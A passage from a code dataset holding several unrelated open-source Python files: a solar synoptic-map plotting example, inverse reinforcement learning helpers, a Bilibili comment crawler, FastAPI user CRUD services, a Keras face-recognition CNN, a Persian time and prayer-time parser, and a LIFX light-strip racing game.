plot.\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\nfrom astropy.io import fits\n\nimport drms\n\n###############################################################################\n# Create DRMS client, uses the JSOC baseurl by default, set debug=True to see the DRMS query URLs.\n\nclient = drms.Client()\n\n###############################################################################\n# Construct the DRMS query string: \"Series[Carrington rotation]\"\n\nqstr = \"hmi.synoptic_mr_720s[2150]\"\n\n# Send request to the DRMS server\nprint(\"Querying keyword data...\\n -> {qstr}\")\nsegname = \"synopMr\"\nresults, filenames = client.query(qstr, key=drms.const.all, seg=segname)\nprint(f\" -> {len(results)} lines retrieved.\")\n\n# Use only the first line of the query result\nresults = results.iloc[0]\nfname = f\"http://jsoc.stanford.edu{filenames[segname][0]}\"\n\n# Read the data segment\n# Note: HTTP downloads get cached in ~/.astropy/cache/downloads\nprint(f\"Reading data from {fname}...\")\na = fits.getdata(fname)\nny, nx = a.shape\n\n###############################################################################\n# Now to plot the image.\n\n# Convert pixel to world coordinates using WCS keywords\nxmin = (1 - results.CRPIX1) * results.CDELT1 + results.CRVAL1\nxmax = (nx - results.CRPIX1) * results.CDELT1 + results.CRVAL1\nymin = (1 - results.CRPIX2) * results.CDELT2 + results.CRVAL2\nymax = (ny - results.CRPIX2) * results.CDELT2 + results.CRVAL2\n\n# Convert to Carrington longitude\nxmin = results.LON_LAST - xmin\nxmax = results.LON_LAST - xmax\n\n# Compute the plot extent used with imshow\nextent = (\n xmin - abs(results.CDELT1) / 2,\n xmax + abs(results.CDELT1) / 2,\n ymin - abs(results.CDELT2) / 2,\n ymax + abs(results.CDELT2) / 2,\n)\n\n# Aspect ratio for imshow in respect to the extent computed above\naspect = abs((xmax - xmin) / nx * ny / (ymax - ymin))\n\n# Create plot\nfig, ax = plt.subplots(1, 1, figsize=(13.5, 6))\nax.set_title(f\"{qstr}, Time: {results.T_START} ... {results.T_STOP}\", fontsize=\"medium\")\nax.imshow(\n a,\n vmin=-300,\n vmax=300,\n origin=\"lower\",\n interpolation=\"nearest\",\n cmap=\"gray\",\n extent=extent,\n aspect=aspect,\n)\nax.invert_xaxis()\nax.set_xlabel(\"Carrington longitude\")\nax.set_ylabel(\"Sine latitude\")\nfig.tight_layout()\n\nplt.show()\n","repo_name":"sunpy/drms","sub_path":"examples/plot_synoptic_mr.py","file_name":"plot_synoptic_mr.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"70"} +{"seq_id":"73162202786","text":"import numpy as np\r\nimport cvxpy as cp\r\nfrom train import idx_state\r\n\r\nclass FeatureEstimate:\r\n def __init__(self, feature_num, env):\r\n self.env = env\r\n self.feature_num = feature_num\r\n self.feature = np.ones(self.feature_num)\r\n\r\n def gaussian_function(self, x, mu):\r\n return np.exp(-np.power(x - mu, 2.) / (2 * np.power(1., 2.)))\r\n\r\n def get_features(self, state):\r\n env_low = self.env.observation_space.low\r\n env_high = self.env.observation_space.high\r\n env_distance = (env_high - env_low) / (self.feature_num - 1)\r\n\r\n for i in range(int(self.feature_num/2)):\r\n # position\r\n self.feature[i] = self.gaussian_function(state[0], \r\n env_low[0] + i * env_distance[0])\r\n # velocity\r\n self.feature[i+int(self.feature_num/2)] = self.gaussian_function(state[1], \r\n env_low[1] + i * env_distance[1])\r\n\r\n return self.feature\r\n\r\n\r\ndef calc_feature_expectation(feature_num, gamma, q_table, demonstrations, env):\r\n feature_estimate = FeatureEstimate(feature_num, env)\r\n feature_expectations = np.zeros(feature_num)\r\n demo_num = len(demonstrations)\r\n \r\n for _ in range(demo_num):\r\n state = env.reset()\r\n demo_length = 0\r\n done = False\r\n \r\n while not done:\r\n demo_length += 1\r\n\r\n state_idx = idx_state(env, state)\r\n action = np.argmax(q_table[state_idx])\r\n next_state, reward, done, _ = env.step(action)\r\n \r\n features = feature_estimate.get_features(next_state)\r\n feature_expectations += (gamma**(demo_length)) * np.array(features)\r\n\r\n state = next_state\r\n \r\n feature_expectations = feature_expectations/ demo_num\r\n\r\n return feature_expectations\r\n\r\ndef expert_feature_expectation(feature_num, gamma, demonstrations, env):\r\n feature_estimate = FeatureEstimate(feature_num, env)\r\n feature_expectations = np.zeros(feature_num)\r\n \r\n for demo_num in range(len(demonstrations)):\r\n for demo_length in range(len(demonstrations[0])):\r\n state = demonstrations[demo_num][demo_length]\r\n features = feature_estimate.get_features(state)\r\n feature_expectations += (gamma**(demo_length)) * np.array(features)\r\n \r\n feature_expectations = feature_expectations / len(demonstrations)\r\n \r\n return feature_expectations\r\n\r\n\r\ndef QP_optimizer(feature_num, learner, expert):\r\n w = cp.Variable(feature_num)\r\n \r\n obj_func = cp.Minimize(cp.norm(w))\r\n constraints = [(expert-learner) * w >= 2] \r\n\r\n prob = cp.Problem(obj_func, constraints)\r\n prob.solve()\r\n\r\n if prob.status == \"optimal\":\r\n print(\"status:\", prob.status)\r\n print(\"optimal value\", prob.value)\r\n \r\n weights = np.squeeze(np.asarray(w.value))\r\n return weights, prob.status\r\n else:\r\n print(\"status:\", prob.status)\r\n \r\n weights = np.zeros(feature_num)\r\n return weights, prob.status\r\n\r\n\r\ndef add_feature_expectation(learner, temp_learner):\r\n # save new feature expectation to list after RL step\r\n learner = np.vstack([learner, temp_learner])\r\n return learner\r\n\r\ndef subtract_feature_expectation(learner):\r\n # if status is infeasible, subtract first feature expectation\r\n learner = learner[1:][:]\r\n return learner","repo_name":"reinforcement-learning-kr/lets-do-irl","sub_path":"mountaincar/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"70"} +{"seq_id":"11563133664","text":"\"\"\"\nAuthor: Eggry\nURL: https://github.com/eggry/BiliReplyDetailCrawler\nLicense: MIT License\n\"\"\"\n\nimport requests\nimport pandas as pd\nimport openpyxl\nfrom time import localtime, strftime\n\napi_url = \"https://api.bilibili.com/x/v2/reply/detail?type=1&oid={oid}&root={root}&next={begin}\"\n\n\ndef get_reply(oid, root, begin=1):\n request_url = api_url.format(oid=oid, root=root, begin=begin)\n r = requests.get(request_url)\n r.raise_for_status()\n return r.json()\n\n\ndef parse_reply(reply_data):\n next_cursor = reply_data[\"data\"][\"cursor\"]\n reply_list = []\n if reply_data[\"data\"][\"root\"][\"replies\"] is not None:\n for reply in reply_data[\"data\"][\"root\"][\"replies\"]:\n now = {}\n member = reply[\"member\"]\n content = reply[\"content\"]\n now[\"id\"] = reply[\"rpid\"]\n now[\"time\"] = reply[\"ctime\"]\n now[\"uid\"] = member[\"mid\"]\n now[\"name\"] = member[\"uname\"]\n now[\"message\"] = content[\"message\"]\n reply_list.append(now)\n return reply_list, next_cursor\n\n\ndef get_all_reply(oid, root, print_log=True):\n all_reply = []\n begin = 1\n is_end = False\n while not is_end:\n reply_data = get_reply(oid, root, begin)\n reply_list, next_cursor = parse_reply(reply_data)\n all_reply.extend(reply_list)\n if print_log:\n print(\n \"begin:\",\n begin,\n \"next\",\n next_cursor[\"next\"],\n \"end:\",\n next_cursor[\"is_end\"],\n )\n begin = next_cursor[\"next\"]\n is_end = next_cursor[\"is_end\"]\n return all_reply\n\n\ndef crawl_to_excel(oid, root, format_time=True, print_log=True):\n reply = get_all_reply(oid, root, print_log)\n df = pd.DataFrame(reply)\n df.set_index(\"id\", inplace=True)\n if format_time:\n df[\"time\"] = df[\"time\"].apply(\n lambda x: strftime(\"%Y-%m-%d %H:%M:%S\", localtime(x))\n )\n df.to_excel(\"{root}.xlsx\".format(root=root))","repo_name":"eggry/BiliReplyDetailCrawler","sub_path":"BiliReplyDetailCrawler.py","file_name":"BiliReplyDetailCrawler.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"75334765027","text":"from typing import TYPE_CHECKING\n\nfrom db import database\nfrom models import user_model\nfrom schemas import user_schema\n\n\nif TYPE_CHECKING:\n from sqlalchemy.orm import Session\n\n\nasync def create_user(\n user: user_schema.CreateUser,\n db: \"Session\"\n) -> user_schema.User:\n user = user_model.UserModel(**user.dict())\n db.add(user)\n db.commit()\n db.refresh(user)\n return user_schema.User.from_orm(user)\n\n\nasync def get_all_users(\n db: \"Session\"\n) -> list[user_schema.User]:\n users = db.query(user_model.UserModel).all()\n return list(map(user_schema.User.from_orm, users))\n\n\nasync def get_user(\n user_id: int,\n db: \"Session\"\n):\n user = db.query(user_model.UserModel).filter(user_model.UserModel.id == user_id).first()\n return user\n\n\nasync def delete_user(\n user: user_model.UserModel,\n db: \"Session\"\n):\n db.delete(user)\n db.commit()\n\n\nasync def update_user(\n user_data: user_schema.CreateUser,\n user: user_model.UserModel,\n db: \"Session\"\n) -> user_schema.User:\n user.user_name = user_data.user_name\n user.password = user_data.password\n user.token = user_data.token\n\n db.commit()\n db.refresh(user)\n\n return user_schema.User.from_orm(user)\n","repo_name":"ArturoDeveloment/API_sena","sub_path":"services/user_services.py","file_name":"user_services.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18991157160","text":"\r\n# this is a large adaptation of kaggle user sivarajh's olivetti project\r\n# https://www.kaggle.com/imrandude/olivetti/downloads/olivetti_faces_target.npy/comments\r\n# as well as references from youtube user sendex\r\n# https://www.youtube.com/watch?v=WvoLTXIjBYU&t=957s\r\n\r\nimport keras\r\nimport pickle\r\nfrom keras.datasets import mnist\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten\r\nfrom keras.layers import Conv2D, MaxPooling2D\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.datasets import fetch_olivetti_faces\r\n\r\nbatch_size = 10\r\nnum_classes = 40\r\nepochs = 100\r\nIMG_SIZE = 64\r\n\r\ndata_imgs = np.load(\"C:\\\\Users\\\\Kyle\\\\Documents\\\\lfw-deepfunneled\\\\input\\\\olivetti_faces.npy\")\r\nlabels = np.load(\"C:\\\\Users\\\\Kyle\\\\Documents\\\\lfw-deepfunneled\\\\input\\\\olivetti_faces_target.npy\")\r\ndata = data_imgs.reshape(data_imgs.shape[0], data_imgs.shape[1] * data_imgs.shape[2])\r\n\r\nx_train = []\r\ny_train = []\r\nx_test = []\r\ny_test = []\r\n\r\nfor i in range(0, 400):\r\n if(i % 10 == 8 or i % 10 == 9):\r\n x_test.append(data_imgs[i])\r\n y_test.append(labels[i])\r\n else:\r\n x_train.append(data_imgs[i])\r\n y_train.append(labels[i])\r\n\r\nprint(f\"Length of x_test: {len(x_test)}\")\r\nprint(f\"Length of x_train: {len(x_train)}\")\r\n\r\ny_train = keras.utils.to_categorical(y_train, num_classes)\r\ny_test = keras.utils.to_categorical(y_test, num_classes)\r\n\r\nx_train = np.array(x_train).reshape(-1, IMG_SIZE, IMG_SIZE, 1)\r\nx_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1)\r\ny_train = np.array(y_train)\r\ny_test = np.array(y_test)\r\n\r\n\r\n# to use no max pooling layers uncommment the strides in the current Conv Layers\r\n# Comment out model.add(MaxPooling2D)\r\n# Uncomment the replacement Conv Layers\r\n\r\nmodel = Sequential()\r\nmodel.add(Conv2D(64, \r\n kernel_size=(3, 3), \r\n #strides=(2,2), # have to increment preceding conv layer stride to remove pooling\r\n activation='relu',\r\n input_shape=(IMG_SIZE,IMG_SIZE,1)))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# model.add(Conv2D(64, \r\n# kernel_size=(2,2), #replacing the 2 x 2 pooling with a conv layer\r\n# activation='relu', #default pooling stride are the size of the filter (2 x 2)\r\n# strides=(2,2)))\r\nmodel.add(Conv2D(64, \r\n kernel_size=(3, 3), \r\n #strides=(2,2), # have to increment preceding conv layer stride to remove pooling\r\n activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\n# model.add(Conv2D(64, \r\n# kernel_size=(2,2), #replacing the 2 x 2 pooling with a conv layer\r\n# activation='relu', #default pooling stride are the size of the filter (2 x 2)\r\n# strides=(2,2)))\r\nmodel.add(Dropout(0.1))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(64, activation='relu'))\r\nmodel.add(Dropout(0.2))\r\nmodel.add(Dense(num_classes, activation='softmax'))\r\n\r\nmodel.compile(loss=keras.losses.categorical_crossentropy, \r\n # uncomment which ever optimizer you want to use\r\n #optimizer=keras.optimizers.SGD(lr=0.001, momentum=1, decay=0.05,nesterov=True),\r\n optimizer=keras.optimizers.Adam(lr=0.001),\r\n metrics=['accuracy'])\r\nhistory = model.fit(x_train, y_train,\r\n batch_size=batch_size,\r\n epochs=epochs,\r\n verbose=1, \r\n validation_data=(x_test, y_test)\r\n )\r\n\r\nplt.plot(history.history['acc'])\r\nplt.plot(history.history['val_acc'])\r\nplt.title('Adam model with pooling: accuracy')\r\nplt.ylabel('accuracy')\r\nplt.xlabel('epoch')\r\nplt.legend(['train', 'test'], loc='upper left')\r\nplt.show()\r\n\r\nplt.plot(history.history['loss'])\r\nplt.plot(history.history['val_loss'])\r\nplt.title('Adam model with pooling: loss')\r\nplt.ylabel('loss')\r\nplt.xlabel('epoch')\r\nplt.legend(['train', 'test'], loc='upper left')\r\nplt.show()\r\n\r\nscore = model.evaluate(x_test, y_test, verbose=0)\r\nprint('Test loss:', score[0])\r\nprint('Test accuracy:', score[1])\r\n\r\n\r\n","repo_name":"kmain1/Senior_Seminar_Facial_Rec_CNN","sub_path":"CNNv2.py","file_name":"CNNv2.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"75090982305","text":"\nimport datetime\nimport re\nfrom aibot_date import convertStr2num, export_date\nimport numpy as np\nfrom aibot_utils import cleaning, location_handler, mix_tdl, unique_without_sort\nfrom adhanAPI import Adhan\nfrom hazm import word_tokenize\nfrom vocab import am_pm_dict, time_literals, minute_literals, perstr_to_num\nfrom copy import copy\n\nadhan = Adhan()\n\n\ndef fix_hour_ampm(st, hour):\n ampm_list = []\n for ampm in am_pm_dict.keys():\n if \" \" + ampm + \" \" in st:\n ampm_list.append(ampm)\n elif re.findall(\"^{} \".format(ampm), st):\n ampm_list.append(ampm)\n elif re.findall(\" {}$\".format(ampm), st):\n ampm_list.append(ampm)\n if ampm_list:\n if am_pm_dict[ampm_list[0]] == 1:\n if hour < 12:\n hour += 12\n elif hour == 12:\n hour = 0\n elif ampm_list[0] == \"بامداد\" and hour == 12:\n hour = 0\n return hour\n\n\ndef hour_min_exporter(st, force_return=False):\n # try ساعت + num\n mtch = re.findall(\"ساعت \\d+\", st)\n if mtch:\n mtch_minute = st.find(\"دقیقه\")\n minute = 0\n if mtch_minute == -1:\n # try minute_literals\n min_liter = []\n for m in minute_literals.keys():\n if m in st:\n min_liter.append(m)\n if min_liter:\n minute = minute_literals[min_liter[0]]\n else:\n # try num + دقیقه\n mtch_min = re.findall(\"\\d+ دقیقه\", st)\n if mtch_min:\n try:\n minute = int(mtch_min[0].strip(\"دقیقه\"))\n except Exception:\n pass\n else:\n # try writed number + دقیقه\n probable_min = cleaning(st[:mtch_minute])\n m_n = []\n for w in word_tokenize(probable_min):\n if w in perstr_to_num.keys():\n m_n.append(w)\n if m_n:\n minute = convertStr2num(\" \".join(m_n))\n\n try:\n hour = int(mtch[0].strip(\"ساعت\"))\n except Exception:\n hour = 0\n return fix_hour_ampm(st, hour), minute\n\n # try ساعت + writed num\n mtch = st.find(\"ساعت\")\n if mtch != -1:\n h_n = []\n probable_hour = st[mtch + len(\"ساعت\"):]\n for w in word_tokenize(probable_hour):\n if w in perstr_to_num.keys():\n h_n.append(w)\n if h_n:\n h_n.append(\"صفر\")\n mtch_minute = st.find(\"دقیقه\")\n if mtch_minute == -1:\n minute = 0\n hour = convertStr2num(\" \".join(h_n))\n # try minute literals\n m_l = []\n for m in minute_literals:\n if m in st:\n m_l.append(m)\n if m_l:\n minute = minute_literals[m_l[0]]\n try:\n if hour > 24:\n raise Exception\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n # try num + دقیقه\n mtch_m = re.findall(\"\\d+ دقیقه\", st)\n if mtch_m:\n try:\n minute = int(mtch_m[0].strip(\"دقیقه\"))\n hour = convertStr2num(\" \".join(h_n))\n if hour > 24:\n raise Exception\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n # maybe the writed numbers are for minute too!\n if len(h_n) > 2:\n try:\n hour = convertStr2num(h_n[0])\n minute = convertStr2num(\" \".join(h_n[1:]))\n if hour > 24 or minute > 60:\n raise Exception\n return fix_hour_ampm(st, hour), minute\n except Exception:\n try:\n if len(h_n) >= 3:\n h_n.append(\"صفر\")\n # hours are at maximum 2 numbers (<24)\n hour = convertStr2num(\" \".join(h_n[:2]))\n minute = convertStr2num(\" \".join(h_n[2:]))\n if hour > 24:\n raise Exception\n return fix_hour_ampm(st, hour), minute\n else:\n raise Exception\n except Exception:\n try:\n hour = convertStr2num(\" \".join(h_n[:-2]))\n minute = convertStr2num(\" \".join(h_n[-2]))\n if hour > 24:\n raise Exception\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n else:\n try:\n hour = convertStr2num(\" \".join(h_n[:-1]))\n minute = 0\n if hour > 24:\n raise Exception\n return fix_hour_ampm(hour), minute\n except Exception:\n pass\n\n # try time literals\n t_l = []\n for tl in time_literals:\n if tl in st:\n t_l.append(tl)\n if t_l:\n # try num + tl\n mtch = re.findall(\"\\d+ {}\".format(t_l[0]), st)\n if mtch:\n try:\n h = int(mtch[0].strip(t_l[0]))\n t = datetime.datetime.now() + datetime.timedelta(hours=h *\n time_literals[t_l[0]])\n hour, minute = t.hour, t.minute\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n # try writed number + tl\n h_n = []\n probable_number = st[:st.find(t_l[0])]\n for n in perstr_to_num.keys():\n if n in word_tokenize(probable_number):\n h_n.append(n)\n if h_n:\n try:\n h = convertStr2num(\" \".join(h_n))\n t = datetime.datetime.now() + datetime.timedelta(hours=h *\n time_literals[t_l[0]])\n hour, minute = t.hour, t.minute\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n # if none of the above return tl itself\n try:\n t = datetime.datetime.now() + \\\n datetime.timedelta(hours=time_literals[t_l[0]])\n hour, minute = t.hour, t.minute\n return fix_hour_ampm(st, hour), minute\n except Exception:\n pass\n # let's just return a number as hour:\n if force_return:\n mtch = re.findall(\"\\d+\", st)\n if mtch:\n hour = int(mtch[0])\n return fix_hour_ampm(st, hour), 0\n return None, None\n\n\n# check for adhan times\ndef adhan_handler(time_list, tokens, labels, question):\n res = []\n url = []\n if time_list == None or len(time_list) == 1:\n adhan_names = adhan.export_adhan_names(question)\n if adhan_names:\n exportdat = export_date(question, tokens, labels)\n date_list = []\n for d in exportdat:\n if d[0] != None:\n date_list.append(d[0])\n date_list = unique_without_sort(date_list)\n if not date_list:\n date_list.append(datetime.datetime.today())\n locs = location_handler(question, tokens, labels)\n mixture = mix_tdl(adhan_names, date_list, locs)\n if mixture:\n for m in mixture:\n t, u = adhan.get_city_adhan_time(m[2], m[1], m[0])\n res.append(t)\n url.append(u)\n return res, url, adhan_names\n else:\n return None, None, None\n else:\n adhan_names = adhan.export_adhan_names(question)\n # for t in time_list:\n # a = adhan.export_adhan_names(str(t))\n # if a:\n # adhan_names.append(a[0])\n a = len(adhan_names)\n if a == 0:\n return None, None, None\n if a == len(time_list):\n exportdat = export_date(question, tokens, labels)\n date_list = []\n for d in exportdat:\n if d[0] != None:\n date_list.append(d[0])\n if not date_list:\n date_list.append(datetime.datetime.today())\n locs = location_handler(question, tokens, labels)\n mixture = mix_tdl(adhan_names, date_list, locs)\n if mixture:\n for m in mixture:\n t, u = adhan.get_city_adhan_time(m[2], m[1], m[0])\n res.append(t)\n url.append(u)\n return res, url, adhan_names\n if a < len(time_list):\n exportdat = export_date(question, tokens, labels)\n date_list = []\n for d in exportdat:\n if d[0] != None:\n date_list.append(d[0])\n if not date_list:\n date_list.append(datetime.datetime.today())\n locs = location_handler(question, tokens, labels)\n mixture = mix_tdl(time_list, date_list, locs)\n if mixture:\n for m in mixture:\n if m[0] in adhan_names:\n t, u = adhan.get_city_adhan_time(m[2], m[1], m[0])\n res.append(t)\n url.append(u)\n else:\n res.append(m[0])\n return res, url, adhan_names\n\n\ndef export_time_single(st_arr, st=None, force_return=False):\n not_st = False\n if not st:\n st = cleaning(\"\".join(st_arr).replace(\"-\", \":\").replace(\"/\",\n \":\").replace(\"و\", \":\").replace(\",\", \":\"))\n not_st = True\n # try hh:mm format\n mtch = re.findall(\"\\d+[:]\\d+\", st)\n if mtch:\n t = mtch[0].split(\":\")\n try:\n hour = int(t[0])\n minute = int(t[1])\n if hour > 24:\n temp = minute\n minute = hour\n hour = temp\n return datetime.time(fix_hour_ampm(\" \".join(st_arr), hour), minute)\n except Exception:\n pass\n if not_st:\n st = cleaning(\" \".join(st_arr))\n hour, minute = hour_min_exporter(st, force_return=force_return)\n if hour == None:\n # hour = datetime.datetime.now().hour\n return None\n if minute == None:\n # minute = datetime.datetime.now().minute\n return None\n return datetime.time(hour, minute)\n\n\ndef export_time(question, tokens, labels):\n labels = np.array(labels)\n b_time = np.where(labels == \"B_TIM\")[0]\n i_time = np.where(labels == \"I_TIM\")[0]\n url = None\n n = len(b_time)\n if n == 0:\n st_arr = word_tokenize(question)\n t_ = export_time_single(st_arr, question)\n\n if t_ == None:\n res, url, adhan_names = adhan_handler(\n None, tokens, labels, question)\n if res != None:\n return res, True, url, adhan_names\n\n return [t_], False, None, None\n\n elif n >= 2:\n t_ = []\n time_texts = []\n for i in range(n):\n st_arr = []\n if i < n - 1:\n ida = i_time[np.where(\n (i_time > b_time[i]) & (i_time < b_time[i + 1]))]\n else:\n ida = i_time[np.where(i_time > b_time[i])]\n for t in np.r_[b_time[i], ida]:\n st_arr.append(tokens[int(t)])\n time_texts.append(\" \".join(st_arr))\n t_.append(export_time_single(st_arr, force_return=True))\n is_adhan_needed = False\n new_t = copy(t_)\n for i, t in enumerate(t_):\n if t_[i] == None:\n new_t[i] = time_texts[i]\n is_adhan_needed = True\n if is_adhan_needed:\n res, url, adhan_names = adhan_handler(\n new_t, tokens, labels, question)\n if res != None:\n if not None in res:\n return res, True, url, adhan_names\n return t_, False, None, None\n else:\n st_arr = []\n for t in np.r_[b_time, i_time]:\n st_arr.append(tokens[int(t)])\n t_ = export_time_single(st_arr, force_return=True)\n if t_ == None:\n t_ = export_time_single(word_tokenize(question), question)\n if t_ == None:\n res, url, adhan_names = adhan_handler(\n None, tokens, labels, question)\n if res != None:\n return res, True, url, adhan_names\n return [t_], False, None, None\n","repo_name":"dpooria/aibot","sub_path":"aibot_time.py","file_name":"aibot_time.py","file_ext":"py","file_size_in_byte":12963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"10401962794","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 5 11:21:58 2018\r\n\r\n@author: rober\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\n#!/usr/bin/python\r\n\r\nimport glob\r\nimport cv2\r\nimport numpy as np\r\n\r\nX = []\r\n\r\nfor filename in glob.glob('file-path\\\\*.jpg'): #assuming gif\r\n img = cv2.imread(filename)\r\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n resized_img = cv2.resize(gray_img, (200, 200))\r\n \r\n X.append(resized_img)\r\n\r\nX = np.asarray(X)\r\nprint(X.shape)\r\n","repo_name":"akers7315/load-images-numpy-resize-convert-color","sub_path":"load-images-numpy-resize-convert-color/import-resize-convert-color.py","file_name":"import-resize-convert-color.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17707841553","text":"#!/usr/bin/env python3\n# coding=utf-8\nimport sys\nimport random\nfrom lifxlan import LifxLAN, \\\n BLUE, COLD_WHITE, CYAN, GOLD, GREEN, ORANGE, PINK, PURPLE, RED, WARM_WHITE, WHITE, YELLOW\nfrom pynput.keyboard import Listener, Key\nfrom copy import deepcopy\nfrom time import sleep \nimport threading\nimport pyttsx3\n\nspace_pressed = False\nrace_won = False\n\ndef keyboard_listener():\n global space_pressed\n \n def on_press(key): \n global space_pressed\n if key == Key.space:\n if space_pressed:\n space_pressed = False\n else:\n space_pressed = True\n\n with Listener(on_press=on_press) as listener: # Create an instance of Listener\n listener.join() # Join the listener thread to the main thread to keep waiting for keys\n\ndef lightDiscovery():\n global space_pressed\n global race_won\n # Discover lights\n print(\"Discovering lights...\")\n lifx = LifxLAN(None,False)\n lifx.set_power_all_lights(\"on\", duration=1000, rapid=True)\n\n # Get devices\n multizone_lights = lifx.get_multizone_lights()\n\n if len(multizone_lights) > 0:\n strip = multizone_lights[0]\n print(\"Selected {}\".format(strip.get_label()))\n\n # Light Stuff\n all_zones = strip.get_color_zones()\n original_zones = deepcopy(all_zones)\n zone_count = len(all_zones)\n\n # Options\n start_position = 2\n player_size = 1\n background_colour = [0,0,0,2500]\n flag_colour = GOLD\n transition_duration = 0\n colours = [[BLUE,ORANGE],[GREEN,PURPLE],[PINK,WHITE],[RED,YELLOW]]\n\n # Player Object\n class Player:\n def __init__(self, name):\n self.name = name\n self.colour = WHITE\n self.checkpoint_colour = WHITE\n self.position = start_position\n self.direction = \"forwards\" \n self.indicator = self.position\n self.speed = 0.2\n self.race_size = 5\n self.fallback_distance = 1\n\n def randomRaceConditions(self):\n self.randomDirection()\n self.randomSpeed()\n self.randomRaceSize()\n self.randomFallbackDistance()\n\n def randomDirection(self):\n self.direction = random.choice([\"forwards\",\"backwards\"])\n\n def randomSpeed(self):\n self.speed = random.choice([0.15,0.14,0.12,0.11,0.1,0.08,0.06,0.05])\n\n def randomRaceSize(self):\n self.race_size = random.choice([2,3,4,5])\n\n def randomFallbackDistance(self):\n self.fallback_distance = random.choice([0,1])\n\n # Player variables\n players = [Player(\"Jamie\"),Player(\"Ryan\"),Player(\"Adam\")]\n\n # Assign player colours\n i = 0\n while i < len(players):\n print(players[i].name, \" is \", colours[i][0])\n players[i].colour = colours[i][0]\n players[i].checkpoint_colour = colours[i][1]\n i += 1\n\n\n # Set background colour and end flag\n strip.set_color(background_colour)\n strip.set_zone_color(zone_count-1, zone_count-1, flag_colour, transition_duration)\n\n engine = pyttsx3.init()\n engine.say(\"On your marks, Get set, Go\")\n engine.runAndWait()\n\n try:\n while True:\n\n if race_won:\n print(\"Race Won\")\n break\n\n for player in players:\n print(player.name, \" loop started\")\n player.randomRaceConditions()\n strip.set_color(background_colour)\n engine = pyttsx3.init()\n engine.say(random.choice([player.name+\", you're up next\", \"Your turn next, \"+player.name,\"Get your fingers ready, \"+player.name,\"Can you feel victory, \"+player.name,\"On your marks \" + player.name + \" you're next.\", \"go \"+player.name]))\n engine.runAndWait()\n \n while True:\n if space_pressed:\n print(\"Loop Stopped\")\n space_pressed = False\n break\n\n race_start_position = max(player.position - player.fallback_distance,0)\n race_checkpoint_position = min(player.position + player.race_size, zone_count)\n\n print(player.name, player.direction, player.position, player.indicator, \" | \", race_start_position, \" - \", race_checkpoint_position, \"Race Conditions: \", player.speed, player.race_size, player.fallback_distance)\n \n # Background\n strip.set_zone_color(race_start_position,max(player.indicator-1, 0), background_colour, 0, rapid=True, apply=1)\n strip.set_zone_color(min(player.indicator+1,zone_count),race_checkpoint_position,background_colour, 1, rapid=True, apply=1)\n \n # Other player indicator\n for competingPlayer in players:\n if competingPlayer.name != player.name:\n strip.set_zone_color(competingPlayer.position, competingPlayer.position, competingPlayer.colour, 0, rapid=True, apply=1)\n\n # Checkpoint & Start\n strip.set_zone_color(min(race_checkpoint_position+1,zone_count),min(race_checkpoint_position+1, zone_count), player.checkpoint_colour, 0, rapid=True, apply=1)\n strip.set_zone_color(max(race_start_position-1,0),max(race_start_position-1, 0), player.checkpoint_colour, 0, rapid=True, apply=1)\n \n # Player indicator\n strip.set_zone_color(player.indicator, min(player.indicator+player_size-1,1), player.colour, transition_duration, rapid=True, apply=1)\n\n # Check if the indicator is about to escape the raze zone\n if all([player.direction == \"forwards\", player.indicator + 1 > race_checkpoint_position]):\n player.direction = \"backwards\"\n\n if all([player.direction == \"backwards\", player.indicator - 1 < race_start_position]):\n player.direction = \"forwards\"\n\n # Move the indicator in the correct direction by one \n if player.direction == \"forwards\":\n player.indicator += 1\n\n if player.direction == \"backwards\":\n player.indicator -= 1\n\n sleep(player.speed)\n print(\"Race loop ended\")\n \n player.position = player.indicator\n\n if player.position >= 30:\n strip.set_zone_color(0,zone_count, background_colour, 0)\n strip.set_zone_color(0,zone_count, player.colour, 5000)\n race_won = True\n engine = pyttsx3.init()\n engine.say(\"Stop the race! We have a Winner! Congratulations \"+player.name+\". You have Won.\")\n engine.runAndWait()\n break\n \n \n strip.set_color(background_colour,500)\n\n # Other player indicator\n for competingPlayer in players:\n strip.set_zone_color(competingPlayer.position, competingPlayer.position, competingPlayer.colour, 0, rapid=True, apply=1)\n\n\n sleep(1.5)\n strip.set_color(background_colour,100)\n sleep(0.5)\n continue\n print(\"layer loop ended\")\n\n except KeyboardInterrupt:\n # Reset colours to original when the script is stopped\n 